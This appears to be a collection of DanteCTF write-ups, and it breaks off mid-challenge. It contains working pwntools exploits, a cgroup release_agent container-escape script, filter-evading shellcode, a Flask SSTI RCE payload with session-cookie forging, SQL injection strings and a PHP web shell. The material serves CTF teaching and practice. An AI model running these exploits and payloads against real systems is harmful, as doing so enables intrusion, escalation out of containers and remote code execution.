Dante’s Notebook

During his trip to Hell Dante met many souls. He took notes about them in this diary.

Author: lillo

We are given a binary and a Dockerfile from which we can easily understand the version of the libc.

By checking the binary with checksec we see that all protections are enabled

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

When we run the program, it shows us a small description and a menu from which we can choose different actions:

During his trip to Hell Dante met many souls.
He took notes about them in this diary.

[1] Insert a new soul
[2] Remove a soul
[3] Edit a soul
[4] View a soul
[5] Exit

Decompiling the binary with Ghidra we see that the program consists of several functions among which we have those implementing the actions of the menu add_soul, remove_soul, view_soul, and edit_soul, the functions read_string and read_int to get some input, and the function sanitize_date that checks the inserted date follows the specified format.

Looking at the code of add_soul is easy to spot a buffer overflow when reading the date:

      else {
        *(int *)(__dest + 0x20) = iVar2;
        printf("When I met him/her [dd/Mon/YYYY]: ");
        read_string((char *)&local_38,0x60);
        sVar3 = strlen((char *)&local_38);
        if (sVar3 != 0xb) {
          uVar4 = sanitize_date((char *)&local_38);
          if ((int)uVar4 == 0) {
            puts("Invalid date!\n");
                    /* WARNING: Subroutine does not return */

However, since all protection are enabled we need to find a way to leak the canary and some address in order to exploit the vulnerability with a ROP chain.

Looking at the other functions, we see that there is a format string vulnerability in the function view_soul:

  else {
    printf("Soul name: %s\nCircle: %d\nMeeting date: ",*(undefined8 *)(souls + (long)iVar2 * 8),
           (ulong)*(uint *)(*(long *)(souls + (long)iVar2 * 8) + 0x20));
    printf((char *)(*(long *)(souls + (long)iVar2 * 8) + 0x24));
    puts("\nSoul shown!");

We can use this vulnerability to achive the required leaks, but we cannot directly store a format string in the date field because some checks are performed.

To do that, we can use a bug in the function edit_soul that reuse a local buffer to first read the name of the sould and then the date without clearning it:

        *(int *)(*(long *)(souls + (long)iVar1 * 8) + 0x20) = iVar2;
        printf("When I met him/her [dd/Mon/YYYY]: ");
        read_string((char *)&local_38,0xc);
        sVar3 = strlen((char *)&local_38);
        if (sVar3 != 0xb) {
          uVar4 = sanitize_date((char *)&local_38);
          if ((int)uVar4 == 0) {
            puts("Invalid date!\n");
                    /* WARNING: Subroutine does not return */
        strncpy((char *)(*(long *)(souls + (long)iVar1 * 8) + 0x24),(char *)&local_38,0x20);
        puts("Soul updated!");

Carefully, crafting the name we can fill the local buffer to store a format string in the field of the date.

Therefore, the idea of the attack is the following:

  1. insert a soul;
  2. edit the soul by crafting the name with a format string to leak the canary and a libc address;
  3. view the soul to print the canary and a libc address;
  4. compute the offset of the one_gadget;
  5. exploit the buffer overflow in the function add_soul with a rop chain that calls the one_gadget after setting up some registry to meet the constrains.

The code of the exploit is the following:

from pwn import *

exe = ELF(exe_path)
libc = ELF("./libc.so.6")

context.binary = exe
context.log_level = 'DEBUG'

p = process(exe_path) if args.LOCAL else remote("challs.dantectf.it", 31530)

# Libc gadgets
libc.symbols["one_gadget"] = 0x50a37
libc.symbols["pop_rcx_gadget"] = 0x8c6bb # pop rcx; ret;

def insertSoul(index, name, circle, date):
    p.sendafter(b'> ', b'1')
    p.sendafter(b'Notebook position [1-5]: ', str(index))
    p.sendafter(b'Soul name: ', name)
    p.sendafter(b'Circle where I found him/her [1-9]: ', str(circle))
    p.sendafter(b'When I met him/her [dd/Mon/YYYY]: ', date)

def editSoul(index, name, circle, date):
    p.sendafter(b'> ', b'3')
    p.sendafter(b'Notebook position [1-5]: ', str(index))
    p.sendafter(b'Soul name: ', name)
    p.sendafter(b'Circle where I found him/her [1-9]: ', str(circle))
    p.sendafter(b'When I met him/her [dd/Mon/YYYY]: ', date)

def viewSoul(index):
    p.sendafter(b'> ', b'4')
    p.sendafter(b'Notebook position [1-5]: ', str(index))

def leaks():
    insertSoul(1, b'Francesca', 2, b'02/Jun/2023')
    editSoul(1, '|%9$p-%35$p'.rjust(30,'A'), 2, b'03/Jun/2023')
    p.recvuntil(b'Meeting date: ')
    canary = int(p.recvuntil(b'-', drop=True), 16)
    libcAddress = int(p.recvuntil(b'\n', drop=True), 16)
    return canary, libcAddress

canary, libcLeak = leaks()
libcBase = libcLeak - 128 - libc.symbols.__libc_start_main
libc.address = libcBase

info("Canary: %s" % hex(canary))
info("Libc @ %s" % hex(libcBase))

soul = b'04/Jun/2023\x00'
offset = 40 - len(soul)

chain = b''
chain += p64(libc.symbols.pop_rcx_gadget)
chain += p64(0)
chain += p64(libc.symbols.one_gadget)

insertSoul(2, b'Paolo', 2, soul + cyclic(offset) + p64(canary) + p64(0) + chain)

🏁 DANTE{Y0u_neeD_t0_PAy_attenti0n_t0_whaT_Y0u_t4ke_n0te_f745c37}

Infernal Break

Behold, the flag lies within the depths of /flag.txt, awaiting your valiant quest. With the power of a granted shell, let not the journey be taken lightly.
Embark upon this infernal path, invoking the fires of determination. Invoke the ISO’s wrath, thus summoning qemu-system-x86_64 -boot d -cdrom inferno.iso -m 2048 -cpu host -smp 2 to traverse the realms.
Make your journey more pleasant summoning KVM: qemu-system-x86_64 -boot d -cdrom inferno.iso -m 2048 -cpu host -smp 2 --enable-kvm.

We are given an iso, if we try to boot it we receive a shell. We know, from the challenge description, that the flag is in /flag.txt. Let’s use ls and see what we have:

root@inferno:/# ls -la
total 0
drwxr-xr-x  17 root root  480 Jun  2 10:08 .
drwxr-xr-x  17 root root  480 Jun  2 10:08 ..
-rwxr-xr-x   1 root root    0 Jun  2 10:08 .dockerenv
lrwxrwxrwx   1 root root    7 Apr 20 13:41 bin -> usr/bin
drwxr-xr-x   2 root root   40 Apr 14 15:57 boot
drwxr-xr-x   5 root root  360 Jun  2 10:08 dev
drwxr-xr-x  37 root root 1740 Jun  2 10:16 etc
drwxr-xr-x   3 root root   60 Apr 20 13:44 home

As we can see, the flag.txt file is not present, but we do have a .dockerenv file. It’s possible that we are inside a container. If we had paid attention during the boot process (as the hint suggests), we might have noticed the following information:

[Info] Starting containerd
[Info] Starting dockerd
[Info] Importing image

So it’s very likely that we are in a container. This means that the flag can be on the host and we have to escape.

We can use this script from Carlos Polop, that gave us:

══════════════════╣ Container ╠══════════════════
═╣ Is this a container? ........... docker
╔══════════╣ Container & breakout enumeration
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout
═╣ Seccomp enabled? ............... enabled
══╣ Breakout via mounts
═╣ Run ushare ..................... Yes
═╣ release_agent breakout 1........ Yes
═╣ release_agent breakout 2........ No

Which tell us that we can escape the container using a cgroup vulnerability known as CVE-2022-0492. You can read more about it here.

To exploit this vulnerability we need a cgroup where we can write in the release_agent file, and then trigger it’s invocation by killing all processes in that cgroup. An easy way to do that is to mount a cgroup controller and create a child cgroup within it.

Another aspect to consider is the storage-driver used by Docker, which is typically overlayfs. It exposes the full host path of the mount point in /etc/mtab. However, upon inspection, we do not find any relevant information there. So we can assume that another storage-driver is being used. As explained here we can obtain the absolute path of the container on the host by bruteforcing the pids on the host.

A possible exploit is the one below:

set -eu

readonly OUT_FILE="/output"
readonly MAX_PID=65535

printf "Mounting rdma cgroup\n"
if !(mount -t cgroup -o rdma cgroup /mnt); then
  printf "Remember to: 'unshare -UrmC bash' before starting the script\n"
  exit 1

printf "Creating new cgroup in /mnt/cg\n"
mkdir /mnt/cg

printf "Enabling notify on release\n"
echo 1 > /mnt/cg/notify_on_release

printf "Crafting payload\n"
echo '#!/bin/sh' > /payload
echo "cat /flag.txt > \$(dirname \$0)${OUT_FILE}" >> /payload
chmod +x /payload

printf "Get host path\n"
while [ ! -f ${OUT_FILE} ]
  if [ $((${pid} % 100)) -eq 0 ]
    printf "Checking pid ${pid}\n"
    if [ ${pid} -gt ${MAX_PID} ]
      printf "Reached ${MAX_PID}, max possible pid number\n"
      exit 1
  echo "/proc/${pid}/root/payload" > /mnt/release_agent
  sh -c "echo \$\$ > /mnt/cg/cgroup.procs"
  pid=$((${pid} + 1))

sleep 1
printf "Bruteforced pid: ${pid}, your Flag is:\n"
cat ${OUT_FILE}

🏁 DANTE{Esc4P3_Fr0M_C0nT41n3R_thp4EDdgtf4}

Sentence To Hell

Name a soul you want to send to hell and we’ll handle the sentence.

Author: lillo

We are given a binary and a Dockerfile from which we can easily understand the version of the libc.

Decompiling the binary with Ghidra we see that the program consists only of the main function

void main(void)
  size_t sVar1;
  long in_FS_OFFSET;
  long *target;
  long value;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  puts("Please, tell me your name: ");
  sVar1 = strcspn(your_name,"\n");
  your_name[sVar1] = 0;
  printf("Hi, ");
  puts(" give me a soul you want to send to hell: ");
  puts("and in which circle you want to put him/her: ");
  *target = value;
  puts("Done, bye!");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */

It is clear that the program is a standard challenge where you have a read primitive via a format string vulnerability and a write primitive where you can store a value to a chosen address. Our goal is to correctly use the write primitive to run a shell. A first approach could be overwriting the main return address with the address of a one_gadget, but this might not work because no constrains are fully satisfied when we execute the ret instruction.

However, by carefully re-runing main we can set the registry rbp to 0 through the mov instruction at main+5 and the leave at main+383. Moreover, we can mantain rsp aligned to 0xf by skiping the push instruction at main+4. These allow meeting two constraints required by the gadget with offset 0x50a37:

0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
  rsp & 0xf == 0
  rcx == NULL
  rbp == NULL || (u16)[rbp] == NULL

The requirement that the registry rcx must be 0 is not a problem because by looking at the instructions of the gadget with offset 0x50a37 we see that before calling posix_spawn a move instruntion copies rbp (that is 0) into rcx.

Thus, the idea is to have a two rounds: first we jump back to main, and then we jump to the one_gadget. We can use the format string vulnerabilities to carry out the required leaks (stack, code, libc). In the first round, we leak a stack and a code address, compute the address of the return address, and write the address of main + 5. In the second round, we leak a libc address, compute the new address of the return address and of the one_gadget, and write this last address to run a shell.

The code of the exploit is the following:

from pwn import *

exe = ELF("./sentence")
libc = ELF("./libc.so.6")
libc.symbols["one_gadget"] = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8][0]

context.binary = exe
context.log_level = 'debug'

libc_leak_pos = 3
code_leak_pos = 13
stack_leak_pos = 15
diff_on_stack1 = 272
diff_on_stack2 = 16

p = remote("challs.dantectf.it", 31531)

# Round 1: leak stack address, code address and go back to main + 5
# (we avoid push instruction to maintain stack alignment and we set rbp to 0)

payload = f"%{stack_leak_pos}$p.%{code_leak_pos}$p"
p.sendlineafter(b'Please, tell me your name: ', payload)
p.recvuntil(b'Hi, ')
leaks = p.recvuntil(b' ').split(b'.')
stack_leak = int(leaks[0], 16)
code_leak = int(leaks[1], 16)
return_address = stack_leak - diff_on_stack1
exe.address = code_leak - exe.symbols.main
log.info("code @ %s" % hex(exe.address))
log.info("return address @ %s" % hex(return_address))
p.sendlineafter(b'to hell: ', str(code_leak + 5))
p.sendlineafter(b'to put him/her: ', str(return_address))

# Round 2: leak libc address and jump to one_gadget

payload = f"%{libc_leak_pos}$p"
p.sendlineafter(b'Please, tell me your name: ', payload)
p.recvuntil(b'Hi, ')
leak = p.recvuntil(b' ')
libc_leak = int(leak, 16)
libc.address = libc_leak - 0x114a37
return_address = return_address + diff_on_stack2
log.info("libc_leak address @ %s" % hex(libc.address))
p.sendlineafter(b'to hell: ', str(libc.symbols.one_gadget))
p.sendlineafter(b'to put him/her: ', str(return_address))


🏁 DANTE{Y0u_should_looK_FoR_Filippo_Argenti_on_Google_a103de9b1}


Before you leave the realm of the dead you must leave a message for posterity!

Author: GB1

The challenge provides us with a binary file with no protections.

bool main(void)

  undefined8 uVar1;
  long lVar2;
  undefined8 *puVar3;
  bool bVar4;
  byte bVar5;
  undefined8 local_208;
  undefined8 local_200;
  undefined8 local_1f8 [62];

  bVar5 = 0;
  puts("Before you leave the realm of the dead you must leave a message for posterity!");
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  local_208 = 0;
  local_200 = 0;
  puVar3 = local_1f8;
  for (lVar2 = 0x3c; lVar2 != 0; lVar2 = lVar2 + -1) {
    *puVar3 = 0;
    puVar3 = puVar3 + (ulong)bVar5 * -2 + 1;
  *(undefined4 *)puVar3 = 0;
  read_string((char *)&local_208,500);
  filter((char *)&local_208);
  uVar1 = install_syscall_filter();
  bVar4 = (int)uVar1 == 0;
  if (bVar4) {
    (*(code *)&local_208)();
  return !bVar4;

The main is really simple: it gets a shellcode, filters some bad bytes (\xcd\x80\x0f\0x05\0x89), filters some bad syscalls and then execute the shellcode. With seccomp-tools we can recover the limitations on the syscalls.

 line  CODE  JT   JF      K
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x0000000f  if (A != rt_sigreturn) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x06 0x00 0x00 0x00000000  return KILL

So the shellcode must be of the type open+read+write but we still need to find a way to bypass the opcodes filter. Those bytes correspond to the bytes of the instructions int 0x80 and syscall. The intended solution was to craft an encoded shellcode to avoid blacklisted bytes. The code I used to solve the chall is a bit complicated but the idea was to create an encoder that works independently of the shellcode used.

#!/usr/bin/env python3

from pwn import *

exe = ELF("./soulcode")

context.binary = exe

FILTER = b'\xcd\x80\x0f\x05\x89\x00\x0a'

def find_key(shellcode, filter):
    for i in range(10000):
        key = os.urandom(8)
        s = b""
        for sh in shellcode:
            s += xor(key[:len(sh)], sh)
        if all(i not in s for i in filter):
            return key

def main():
    Idea: we want to create a polymorphic shellcode that pass the filter.
    The approach I chose consist of xoring the shellcode with a key to avoid blacklisted chars

    r = remote('challs.dantectf.it', 31532)
    # r = process([exe.path])
    # r = gdb.debug([exe.path], gdbscript='''
    #              b main''')
    context.update(arch='amd64', os='linux')

    # Here we can put any shellcode that will be modified to be polymorphic
    # sys_open()
    original_shellcode = asm('''
            xor     rdx, rdx
			xor 	rax, rax
			xor 	rcx, rcx
			mov 	rax, 0x02
			push 	rcx
            mov     r10, 0x7478742e67616c66
            push    r10
			mov 	rdi, rsp
    # sys_read()
    original_shellcode += asm('''
			xor     rax, rax
			mov 	rsi, rdi
			mov 	rdi, 0x3
			mov 	dl, 0x30
    # sys_write()
    original_shellcode += asm('''
    		mov 	rax, 0x1
    		mov 	rdi, 0x1
    	''')  # add nop to reach len(shellcode)%8==0

    # Divide the shellcode in blocks of 8 bytes. Then the block list is reversed because we push the blocks
    # The blocks are reversed to be put in the correct way in the mamory
    # The blocks list itself is reversed to push the blocs on the stack in the correct order
    blocks = [original_shellcode[i:i+BLOCK_SIZE][::-1]
              for i in range(0, len(original_shellcode), BLOCK_SIZE)][::-1]

    # Find a key that xored with the shellcode does not contain blacklisted chars
    key = find_key(blocks, FILTER)
    blocks = ['0x'+xor(b, key[:len(b)]).hex() for b in blocks]
    key = '0x' + key.hex()

    # Craft the polymorphic shellcode
    shellcode = """
    xor rsi,rsi
    movabs rcx,"""+key
    for b in blocks:
        shellcode += """
    movabs r8,"""+b+"""
    xor    r8,rcx
    push   r8"""
    shellcode += """
    jmp    rsp
    shellcode = asm(shellcode)

    assert all(i not in shellcode for i in b'\xcd\x80\x0f\x05\x89')

    r.sendlineafter(b'!\n', shellcode)

if __name__ == "__main__":

I’m really sorry that this challenge had some problems with some unintended solutions remotely, we appreciated the feedbacks and we will improve for the next edition!

🏁 DANTE{P4nT4_rh31}


Rusty Safe

I found this rusty safe in the depths of the hell, but I need a code to (hopefully) open it…

Author: GB1

The name of the challenge suggests us that the challenge source code has been written in Rust, so we will have to manage a pretty fucked up binary. Let’s first execute the binary one time.

Enter the code

At first sight it seems that the binary ask for a a secret code, so we can presume that if we guess it right we will obtain the flag. We are also given a remote instance which run a “fake” shell.

* awesome  Print awesome content
* dir      Create a directory
* env      Set an environment variable
* file     Create a file
* flag     Print the flag
* poem     Have some poetry!
* run      Runs the RustySafe binary

RustySafe-shell >

The only remote commands that makes sense are dir, env, file and run. Why should the challenge provide such commands instead of simply running the binary? This is strange but we will get to that later.

Let’s start with good old static analysis with Ghidra. The binary is messy but with a string search we can look for the strings printed during the execution to find the main.

The main is pretty long but for the moment we can just ignore everything and just look for the secret code, that hopefully will be enough. Scrolling the decompiled code we can find this code:

    local_38 = FUN_00140490(SUB168(auVar8,0),SUB168(auVar8 >> 0x40,0));
    if ((local_38 & 1) == 0) {
      local_38 = local_38 & 0xffffffff00000000;
      if (local_38 == 0x2a00000000) {
        local_78 = FUN_001092b0;
        local_c8 = &PTR_s_called_`Result_unwrap()`_on_an_`_00151f90;
        local_c0 = (uint *)0x2;
        local_d8 = (long *)0x0;
        plStack_b0 = (long *)0x1;
        local_b8 = (char *)&local_80;
        local_80 = &local_a8;
                    /* try { // try from 001094ea to 001094f2 has its CatchHandler @ 001098b0 */
        if (local_a8 != 0) {
      else {
        local_c8 = &PTR_s_Wrong._00151fb0;
        local_c0 = (uint *)0x1;
        local_d8 = (long *)0x0;
        local_b8 = "called `Result::unwrap()` on an `Err` valueEnter the code\nFailed to read line";
        plStack_b0 = (long *)0x0;
                    /* try { // try from 0010953a to 00109557 has its CatchHandler @ 001098f3 */

This looks like what we are looking for: a if-else that check an equivalence and print “Wrong” if the comparison goes wrong. Let’s try 180388626432 (0x2a00000000) as secret code. “Wrong”. So there must be something done to the input before the comparison. We can switch to gdb to see what’s going on at runtime. We can find from ghidra the bytes of the instruction where to put a breakpoint:

ghidra breakpoint

We can set a breakpoint there and look what happen to our input. If we put 16 (0x10) as input at the moment of the comparison we have:

RAX  0x2a00000000
RCX  0x1000000000

So our code is shifted! The right answer is then 0x2a = 42. Using 42 (both locally and remotely) we get:

Enter the code
This is the answer to the Ultimate Question of Life, the Universe, and Everything

Wow the challenge author is a really funny guy… Maybe the rest of the main and the functionalities of the remote instance are not that useless. As we said before remotely we can do few things, in particular creating files and directories and setting environment variables. So we can try to look for something related to this operations in the binary.

Let’s look for some strings maybe we can find something useful:

Ghidra strings

That string looks interesting! Remotely we can create files in /tmp so maybe we have to create this file to get the flag. Still nothing.

If we continue to search we find another interesting string “MY_FAV_POET”. In the decompiled main is pretty easy to spot:


so we can try to explore this function and the functions that are called inside it. It doesn’t take much time until we can find a call to getenv, so probably we have to set a environment variable. If we set a var MY_FAV_POET = something we get:

Enter the code
You have bad taste.

We are almost there we just to need to find the value of the variable.

  • Fast lazy solution: the whole theme of the CTF (and of this chall also) is Dante, one of the most important italian poets of all time. Try to set the MY_FAV_POET=”DANTE”.
  • Normal solution: we can find the address of getenv as we did before and start from there. Then we set a read watchpoint on the address of the stack where is stored the value of the env var “MY_FAV_POET”.
rwatch *stackaddr

Then we continue in gdb until we find this:


Those hex char are the chars of “DANTE”.

If we put all together (file+env+code) and we run the binary remotely we finally get the flag!

🏁 DANTE{tRUST_m3_D4nT3_1s_th3_bEsT}



Some people are coding a website to buy and share crytpos. They are testing with real crypto amounts though. We need to hack them and steal their money!

Author: Virgula

CryptoMarket main page

For this challenge we have the source code available. The db_connection.py file shows that the queries on the db are executed with prepared statements so it is not vulnerable to some kind of SQL Injction. Reading the code we can notice soon something strange. We have a module called renders.py

from flask import render_template_string

def __openTemplate(template):
    with open('./templates/'+template,"r") as f:
        return f.read()

def render_template(template,**kwargs):
    temp = __openTemplate(template).format(**kwargs)
    return render_template_string(temp,**kwargs)

What this class does is to define a fake safe render_template flask method, which reads the raw html template and loads it with render_template_string. In the main run.py in fact, it is used render_template in various functions to render pages, but if we take a look at the imports we notices that render_template is not loaded from flask, but instead from render.py:

from utils.renders import render_template

So this leads in a SSTI somehow. But how can we exploit it?

Well, all rendered variables passed to render_template seems to be safe because are hard coded strings. But there is a call:

def showCart():
    if "encodedJWT" in request.cookies:
        decodedJWT = verifyAndDecodeToken(request.cookies.get('encodedJWT'))
        if decodedJWT and decodedJWT['authorized'] == "true":
            productInCart = conn.getProductFromCart(cursor,decodedJWT['userId'])
            message = 'No items found yet in your cart'
            if len(productInCart)> 0:
                message = 'Dear ' + decodedJWT['username'] + ". Here is your cart"
            return render_template('cart.html',products = productInCart, message=message, display="block")

in showCart, which we can actually exploit. In fact there is a render of the username of the current user. So what if we can register a user with a SSTI payload as username?

To do so by reading the code we need to make a call to /register page. The problem is that registrations are disabled.

{"error":"We're developing the site. Registrations are not allowed yet."}

Registrations can be performed only if these constraints are satisfied:

#register() method
if session and "authorized" in session and session['authorized'] == True:

So to access the page we need an authorized session variable set to True. It is not set in other sections of the code and we need to obtain a poisoned session cookie to bypass the check.

First of all we can notice that no session token is set by the page if we navigate to /. To obtain a session token, we need to take a look at refreshTime method.

def refresh():
    if "time" not in session :
        session['time'] = time.time()
    return redirect('/')

It sets the time variable in the session when we make a HEAD request. We can perform a request with curl:

curl -I http://localhost:1999/refreshTime -vv

From verbose output we get:

Set-Cookie: session=eyJ0aW1lIjoxNjgxNjgzMjIwLjYzNzA1N30.ZDxzFA.Xm3fe5ytpQRGnrsOXAWqK2aqq14; HttpOnly; Path=/

So we got a cookie, but what can we do with it now?

Again, misconfigured modules. In run.py the token used by flask is configured with:

app.secret_key = secrets.token_hex(16)

Which normally, it should be secure enough since token_hex of secrets module. But again we have a reimplemented module called secrets.py with the following methods:

from random import choice

def token_hex(value):
    alphabet = 'abcdef0123456789'
    return ''.join(choice(alphabet) for _ in range(5))

def token_bytes(value):
    alphabet = 'abcdef0123456789'
    return ''.join(choice(alphabet) for _ in range(value)).encode()

run.py calls and generates a token with the redefined token_hex function. And as we can see the returned token is built with only 5 digits with only hexadecimal characters. 5 digits are easily crackable for a modern pc, it takes some seconds or in the worst cases some minutes to reach our goal. In fact having 16 chars of length 5 it’s a permutations with repetition wich is equivalent to try to bruteforce maximum 16^5 values which are 1048576 words.

We can generate such a wordlist easily in a lot of ways, i’ll do it using itertools python module. To crack the session cookie we can use flask unsign which is desined to do the job. https://pypi.org/project/flask-unsign/

You can use the tool via command line, but I will use it as a module in python.

import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time
import re
import sys

path = "wordlist.txt"

print("Generating wordlist... ")

with open(path,"w") as f:
    #permutations with repetition
    [f.write("".join(x)+"\n") for x in itertools.product('0123456789abcdef', repeat=5)]

url = "http://localhost:1999/refreshTime"
cookie_tamper = r.head(url).cookies.get_dict()['session']

print("Got cookie: " + cookie_tamper)

print("Cracker Started...")

obj = flask_unsign.Cracker(value=cookie_tamper)

before = time.time()

with wordlist(path, parse_lines=False) as iterator:

secret = ""
if obj.secret:
    secret = obj.secret.decode()
    print(f"Found SECRET_KET {secret} in {time.time()-before} seconds")

signer = flask_unsign.sign({"time":time.time(),"authorized":True},secret=secret)

This python code:

  • Generates a wordlist with all possible permutation of 5 characters against a charset of 16.
  • Retrivies the session token with an head request and cracks it with the generated wordlist.
  • Finally, we add the variable authorized: True in the session token in order to access the /register page by signing the token with the retrivied secret.

Now the result is something like this:

Generating wordlist...
Got cookie: eyJ0aW1lIjoxNjgxNjg0MDk3LjA5NDQ3NDZ9.ZDx2gQ.t1CTiobR9f_DyFAkJUNgtaBBtA4
Cracker Started...
Found SECRET_KET b02ce in 40.08423948287964 seconds
Poisoned cookie: eyJhdXRob3JpemVkIjp0cnVlLCJ0aW1lIjoxNjgxNjg0MTM3LjE4MzU3fQ.ZDx2qQ.fxdbm8FMGrSY6ypGMq3LYx5iios

Adding the poisoned cookie as:

name: session
value: eyJhdXRob3JpemVkIjp0cnVlLCJ0aW1lIjoxNjgxNjg0MTM3LjE4MzU3fQ.ZDx2qQ.fxdbm8FMGrSY6ypGMq3LYx5iios

in a browser and reloading the /register page we get:

Registration page

And we can create a new user.

As said before, we need to create a user which as a SSTI payload inside which executes an RCE and gets the flag.txt.

username: {{ cycler.__init__.__globals__.os.popen('cat /flag.txt').read() }}
password: test123456

We can login with such credentials:

Shop page

If we navigate on /showCart to get the flag we get:

No items found yet in your cart

That’s because we need to add an item in the cart before, remember the checks made in /showCart before to print the username.

Cart page

We got the flag but you could have done a script to automatize everything, I’ll leave it right here.

import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time
import re
import sys

path = "wordlist.txt"

print("Generating wordlist... ")

with open(path,"w") as f:
    #permutations with repetition
    [f.write("".join(x)+"\n") for x in itertools.product('0123456789abcdef', repeat=5)]

url = "http://localhost:1999/refreshTime"
cookie_tamper = r.head(url).cookies.get_dict()['session']

print("Got cookie: " + cookie_tamper)

print("Cracker Started...")

obj = flask_unsign.Cracker(value=cookie_tamper)

before = time.time()

with wordlist(path, parse_lines=False) as iterator:

secret = ""
if obj.secret:
    secret = obj.secret.decode()
    print(f"Found SECRET_KET {secret} in {time.time()-before} seconds")

signer = flask_unsign.sign({"time":time.time(),"authorized":True},secret=secret)

url = "http://localhost:1999/"

with r.Session() as s:
    print("Poisoned cookie: " + signer)
    cookies = {"session":signer}

    payload = """{{ cycler.__init__.__globals__.os.popen('cat /flag.txt').read() }}"""
    data = {"username":payload,"password":"test123456"}

    response = s.post(url+"register",cookies=cookies,data=data)

    print("Identifier: " + str(s.cookies.get_dict()['identifier']))

    response = s.post(url,data=data,cookies=cookies)

    response = s.get(url+"showCart",cookies=cookies)

    data = {"productid":"1"}
    response = s.post(url+"addToCart",data=data,cookies=cookies)

    response = s.get(url+"showCart",cookies=cookies)

    flag = re.findall("DANTE\{.*\}",response.text)[0]


🏁 DANTE{Mayb3_Flask_Is_n0T_That_s3cur3_00FD8124A}

Dante Barber Shop

Welcome to our renowned barber shop!
Your task, should you choose to accept it, is to uncover hidden information and retrieve the sensitive data that the owners may have left around.

Author: rom7x

Step 1: Guessing the Credentials

To begin, you’ll need to navigate through the website and explore the various pages. Pay close attention to the details provided, as they may contain clues or hidden information. In particular, the challenge hints that the credentials can be found in the barber1.jpg image.

Step 2: Logging in as Barber User

Once you’ve successfully discovered the credentials hidden within the barber1.jpg image, you can proceed to the login page. Use the obtained username and password to log in as a barber user. You will be granted access to the admin page, where you can perform further actions.

Step 3: Retrieving Admin Credentials

On the admin page, there is a search bar that allows you to perform searches within the customer database. This is where the UNION SQL Injection vulnerability comes into play. By crafting a specific query, you can retrieve the admin credentials.

The suggested UNION SQL Injection query to retrieve the admin credentials is as follows:

' UNION SELECT 1,2,username,password FROM users; -- #

By injecting this query into the search bar, you can exploit the vulnerability and retrieve the admin username and password from the users table.

🏁 DANTE{dant3_1s_inj3cting_everyb0dy_aaxxaa}

Dumb Admin

The Admin coded his dashboard by himself. He’s sure to be a pro coder and he’s so satisfied about it. Can you make him rethink that?

Author: Virgula

Dumb Admin main page

We’re prompted on an admin panel login. The first thing you should try on an input is to attempt a SQL Injection excpecially on Admin panels because the first row in the database will most probably be the row which contains admin infos such as username, password and so on and so forth… For now we can try to access by typing something random:

username: admin
password: admin

What we get from the page is: Invalid password format. So for some reason we need to put a more secure password in the login too, we will proceed by using as password S3curePassw019%.


username: admin
password: S3curePassw019%

we get Username or password wrong.

So let’s try to inject something like ' in the username to interrupt a SQL Syntax of a query.

username: '
password: S3curePassw019%

What we get is a strange error:

SQLite3::query(): Unable to prepare statement: 1: near "' AND password = '": syntax error

Notice that I typed a space after the ' in the username. If you instead try to inject ' only you will get something like this:

SQLite3::query(): Unable to prepare statement: 1: unrecognized token: "176624984eff9fa7105fab853e21d3a9"

This seems to be a classical error for a SQLinjection.

If instead we try to inject a good query adding a comment too:

username: ' -- comment
password: S3curePassw019%

This time we get again Username or password wrong. We can try to inject the most basic kind of SQL injection known which is ' or 1=1 -- comment (Logic sql injection) to let the back-end to retrivie the administrator’s row since admin is often the first registered user in a database.

username: ' or 1=1 -- comment
password: S3curePassw019%

Admin page

We’re in!

The page allows us to uplaod an image. The first thing to do is to please the form and upload an image within (2 KB). Take a small screenshot of something of few bytes and try to upload it.

What I got is a generated hash with my file extension:

The image 7b44dc6bbcfb8d457453656ae33181d7.png has been uploaded!
You can view it here: Click here

Clicking the link we can see the image:

image rendering page

By taking a look at the source code of the page we see the url where the image is saved which in my case is:


By clicking it, we can see the image rendered by browser since we’re accessing it directly.

So this must be a way to execute something that we can uplaod with the previous image form.

Since we’re working with PHP (you can clearly see it from link extensions , for example: dashboard.php) we can build a PHP script to execute some code on the remote server:

<?php system($_GET['cmd']); ?>

and we save it in a file called shell.php.

Let’s try to upload it.

An error occurs:

The extension '.php' indicate it is not an image!

There is a check on the file extension. The most basic bypass for an extension is to add a fake extension and appending .php extension anyway. You can find some payloads here: https://book.hacktricks.xyz/pentesting-web/file-upload.

Let’s try to modify the name of the file from shell.php in shell.png.php. It seems to work, since we get a different error from the page:

Uploaded file seems to be not a real image!

Poking around and paying attention to headers you can notice a strange response header that is set:

Magic-Function-Used-By-The-Page: exif_imagetype

This is a tip about what back-end is running. Let’s take a look about what exif_imagetype is. From the PHP manual https://www.php.net/manual/en/function.exif-imagetype.php, we can get some info.

